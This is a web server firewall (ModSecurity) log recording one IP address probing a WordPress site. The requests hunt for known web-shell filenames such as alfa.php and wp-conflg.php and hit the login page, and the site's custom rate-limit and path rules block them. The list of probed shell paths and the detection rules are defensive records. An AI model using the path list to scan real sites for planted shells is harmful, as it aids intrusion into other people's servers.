[Thu Dec 18 19:43:05.490288 2025] [:error] [pid 23558:tid 23632] [client 4.196.109.118:5995] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zeal.php"] [unique_id "aUPoyeHam9NbgPQa9uYKFQAAANE"]
[Thu Dec 18 19:43:07.213218 2025] [:error] [pid 24542:tid 24560] [client 4.196.109.118:6100] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zeal.php"] [unique_id "aUPoy0tQz4H2oS3NrDb8JQAAAVA"]
[Thu Dec 18 19:43:07.881126 2025] [:error] [pid 24958:tid 24965] [client 4.196.109.118:6118] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c.php"] [unique_id "aUPoy8kDOrUkd0wNm2G9KwAAAYQ"]
[Thu Dec 18 19:43:08.151788 2025] [:error] [pid 24542:tid 24567] [client 4.196.109.118:5988] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c.php"] [unique_id "aUPozEtQz4H2oS3NrDb8JgAAAVc"]
[Thu Dec 18 19:43:08.296742 2025] [:error] [pid 24542:tid 24565] [client 4.196.109.118:6002] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c.php"] [unique_id "aUPozEtQz4H2oS3NrDb8JwAAAVU"]
[Thu Dec 18 19:43:08.809696 2025] [:error] [pid 12035:tid 12045] [client 4.196.109.118:6049] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c.php"] [unique_id "aUPozLcVHrNSHjCo-0qIzwAAAgM"]
[Thu Dec 18 19:43:09.327946 2025] [:error] [pid 23645:tid 23647] [client 4.196.109.118:5966] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/133.php"] [unique_id "aUPozTf_Rx0Y0ao_QJhLJQAAAIA"]
[Thu Dec 18 19:43:10.312349 2025] [:error] [pid 24958:tid 24981] [client 4.196.109.118:5968] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/133.php"] [unique_id "aUPozskDOrUkd0wNm2G9LQAAAZQ"]
[Thu Dec 18 19:43:11.028097 2025] [:error] [pid 12383:tid 12399] [client 4.196.109.118:6124] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/133.php"] [unique_id "aUPoz_dgllo9h1cyxGa2MQAAAs0"]
[Thu Dec 18 19:43:11.864242 2025] [:error] [pid 12035:tid 12051] [client 4.196.109.118:5964] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/133.php"] [unique_id "aUPoz7cVHrNSHjCo-0qI0AAAAgk"]
[Thu Dec 18 19:43:13.530477 2025] [:error] [pid 23556:tid 23576] [client 4.196.109.118:6088] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aUPo0RnmLlk3u5yt9kHXNAAAABA"]
[Thu Dec 18 19:43:14.450397 2025] [:error] [pid 12239:tid 12246] [client 4.196.109.118:6133] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aUPo0tNnXxfGIuWO6an9EgAAAoI"]
[Thu Dec 18 19:43:16.666038 2025] [:error] [pid 12035:tid 12060] [client 4.196.109.118:5957] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aUPo1LcVHrNSHjCo-0qI0wAAAhE"]
[Thu Dec 18 19:43:16.867268 2025] [:error] [pid 23556:tid 23560] [client 4.196.109.118:6038] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/makeasmtp.php"] [unique_id "aUPo1BnmLlk3u5yt9kHXNgAAAAA"]
[Thu Dec 18 19:43:17.850507 2025] [:error] [pid 23556:tid 23583] [client 4.196.109.118:6093] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wrt.php"] [unique_id "aUPo1RnmLlk3u5yt9kHXNwAAABc"]
[Thu Dec 18 19:43:18.638425 2025] [:error] [pid 12035:tid 12064] [client 4.196.109.118:5955] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wrt.php"] [unique_id "aUPo1rcVHrNSHjCo-0qI1AAAAhU"]
[Thu Dec 18 19:43:18.948791 2025] [:error] [pid 12239:tid 12255] [client 4.196.109.118:6137] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wrt.php"] [unique_id "aUPo1tNnXxfGIuWO6an9EwAAAos"]
[Thu Dec 18 19:43:19.404883 2025] [:error] [pid 23558:tid 23634] [client 4.196.109.118:6061] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wrt.php"] [unique_id "aUPo1-Ham9NbgPQa9uYKHwAAANM"]
[Thu Dec 18 19:43:20.380623 2025] [:error] [pid 23558:tid 23615] [client 4.196.109.118:6047] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aUPo2OHam9NbgPQa9uYKIAAAAMA"]
[Thu Dec 18 19:43:20.855030 2025] [:error] [pid 23558:tid 23628] [client 4.196.109.118:6063] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aUPo2OHam9NbgPQa9uYKIQAAAM0"]
[Thu Dec 18 19:43:21.523085 2025] [:error] [pid 25357:tid 25369] [client 4.196.109.118:6073] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aUPo2YaT7bsEXnJVfJdV5wAAAco"]
[Thu Dec 18 19:43:21.918509 2025] [:error] [pid 23558:tid 23630] [client 4.196.109.118:6058] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aUPo2eHam9NbgPQa9uYKJAAAAM8"]
[Thu Dec 18 19:43:22.349370 2025] [:error] [pid 23645:tid 23660] [client 4.196.109.118:5897] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aUPo2jf_Rx0Y0ao_QJhLLAAAAI0"]
[Thu Dec 18 19:43:23.439537 2025] [:error] [pid 23645:tid 23658] [client 4.196.109.118:6069] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aUPo2zf_Rx0Y0ao_QJhLLgAAAIs"]
[Thu Dec 18 19:43:24.590263 2025] [:error] [pid 24433:tid 24437] [client 4.196.109.118:6089] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aUPo3J4pN9ycmipm8TjIwAAAAQE"]
[Thu Dec 18 19:43:25.541817 2025] [:error] [pid 23558:tid 23619] [client 4.196.109.118:6078] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aUPo3eHam9NbgPQa9uYKLAAAAMQ"]
[Thu Dec 18 19:43:25.970978 2025] [:error] [pid 24542:tid 24556] [client 4.196.109.118:5998] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/"] [unique_id "aUPo3UtQz4H2oS3NrDb8LQAAAUw"]
[Thu Dec 18 19:43:26.698651 2025] [:error] [pid 23645:tid 23647] [client 4.196.109.118:6008] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/"] [unique_id "aUPo3jf_Rx0Y0ao_QJhLOAAAAIA"]
[Thu Dec 18 19:43:27.665647 2025] [:error] [pid 24542:tid 24545] [client 4.196.109.118:6108] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/"] [unique_id "aUPo30tQz4H2oS3NrDb8MAAAAUE"]
[Thu Dec 18 19:43:28.812409 2025] [:error] [pid 25357:tid 25372] [client 4.196.109.118:6053] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/"] [unique_id "aUPo4IaT7bsEXnJVfJdV-AAAAc0"]
[Thu Dec 18 19:43:29.614346 2025] [:error] [pid 23556:tid 23583] [client 4.196.109.118:6036] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/index.php"] [unique_id "aUPo4RnmLlk3u5yt9kHXQAAAABc"]
[Thu Dec 18 19:43:29.911020 2025] [:error] [pid 23558:tid 23638] [client 4.196.109.118:6077] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/index.php"] [unique_id "aUPo4eHam9NbgPQa9uYKNgAAANc"]
[Thu Dec 18 19:43:30.128321 2025] [:error] [pid 23558:tid 23635] [client 4.196.109.118:6099] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/index.php"] [unique_id "aUPo4uHam9NbgPQa9uYKNwAAANQ"]
[Thu Dec 18 19:43:30.877878 2025] [:error] [pid 23645:tid 23660] [client 4.196.109.118:5904] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/index.php"] [unique_id "aUPo4jf_Rx0Y0ao_QJhLPQAAAI0"]
[Thu Dec 18 19:43:31.240267 2025] [:error] [pid 23558:tid 23624] [client 4.196.109.118:5894] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aUPo4-Ham9NbgPQa9uYKOQAAAMk"]
[Thu Dec 18 19:43:32.879216 2025] [:error] [pid 12035:tid 12067] [client 4.196.109.118:6013] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aUPo5LcVHrNSHjCo-0qI1wAAAhg"]
[Thu Dec 18 19:43:33.727427 2025] [:error] [pid 12239:tid 12255] [client 4.196.109.118:6007] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aUPo5dNnXxfGIuWO6an9IgAAAos"]
[Thu Dec 18 19:43:34.467684 2025] [:error] [pid 23556:tid 23573] [client 4.196.109.118:5928] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aUPo5hnmLlk3u5yt9kHXSAAAAA0"]
[Thu Dec 18 19:43:35.204720 2025] [:error] [pid 12239:tid 12253] [client 4.196.109.118:5965] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/m.php"] [unique_id "aUPo59NnXxfGIuWO6an9IwAAAok"]
[Thu Dec 18 19:43:36.406255 2025] [:error] [pid 12383:tid 12391] [client 4.196.109.118:6095] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/m.php"] [unique_id "aUPo6Pdgllo9h1cyxGa2NwAAAsU"]
[Thu Dec 18 19:43:37.329436 2025] [:error] [pid 23556:tid 23566] [client 4.196.109.118:5937] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/m.php"] [unique_id "aUPo6RnmLlk3u5yt9kHXSwAAAAY"]
[Thu Dec 18 19:43:38.456417 2025] [:error] [pid 12239:tid 12248] [client 4.196.109.118:5933] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/m.php"] [unique_id "aUPo6tNnXxfGIuWO6an9KQAAAoQ"]
[Thu Dec 18 19:43:40.293040 2025] [:error] [pid 12239:tid 12244] [client 4.196.109.118:5954] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/wp-conflg.php"] [unique_id "aUPo7NNnXxfGIuWO6an9KwAAAoA"]
[Thu Dec 18 19:43:41.350874 2025] [:error] [pid 23556:tid 23575] [client 4.196.109.118:5993] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/wp-conflg.php"] [unique_id "aUPo7RnmLlk3u5yt9kHXUAAAAA8"]
[Thu Dec 18 19:43:42.364247 2025] [:error] [pid 23645:tid 23656] [client 4.196.109.118:5999] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/wp-conflg.php"] [unique_id "aUPo7jf_Rx0Y0ao_QJhLQwAAAIk"]
[Thu Dec 18 19:43:43.186020 2025] [:error] [pid 24542:tid 24562] [client 4.196.109.118:6045] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/uploads/wp-conflg.php"] [unique_id "aUPo70tQz4H2oS3NrDb8OAAAAVI"]
[Thu Dec 18 19:43:43.371036 2025] [:error] [pid 24958:tid 24967] [client 4.196.109.118:5901] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aUPo78kDOrUkd0wNm2G9MgAAAYY"]
[Thu Dec 18 19:43:43.531036 2025] [:error] [pid 23645:tid 23653] [client 4.196.109.118:5921] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aUPo7zf_Rx0Y0ao_QJhLRgAAAIY"]
[Thu Dec 18 19:44:12.083267 2025] [:error] [pid 23556:tid 23572] [client 4.196.109.118:6087] [client 4.196.109.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.196.109.118, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUPpDBnmLlk3u5yt9kHXagAAAAw"]
[Thu Dec 18 19:44:25.312410 2025] [:error] [pid 12383:tid 12403] [client 4.196.109.118:5853] [client 4.196.109.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.196.109.118, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/cgi-bin/wp-login.php"] [unique_id "aUPpGfdgllo9h1cyxGa2UAAAAtE"]
[Thu Dec 18 19:44:26.870051 2025] [:error] [pid 23556:tid 23574] [client 4.196.109.118:6087] [client 4.196.109.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.196.109.118, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/cgi-bin/wp-login.php"] [unique_id "aUPpGhnmLlk3u5yt9kHXcgAAAA4"]
[Thu Dec 18 19:44:32.413347 2025] [:error] [pid 12383:tid 12390] [client 4.196.109.118:5853] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aUPpIPdgllo9h1cyxGa2VAAAAsQ"]
[Thu Dec 18 19:44:33.556431 2025] [:error] [pid 24958:tid 24983] [client 4.196.109.118:6115] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aUPpIckDOrUkd0wNm2G9PwAAAZY"]
[Thu Dec 18 19:44:35.033000 2025] [:error] [pid 23556:tid 23584] [client 4.196.109.118:5891] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aUPpIxnmLlk3u5yt9kHXdQAAABg"]
[Thu Dec 18 19:44:37.269256 2025] [:error] [pid 12383:tid 12399] [client 4.196.109.118:6086] [client 4.196.109.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "aUPpJfdgllo9h1cyxGa2VgAAAs0"]
[Thu Dec 18 19:44:38.465904 2025] [:error] [pid 12035:tid 12057] [client 4.196.109.118:5967] [client 4.196.109.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aUPpJrcVHrNSHjCo-0qI7QAAAg4"]
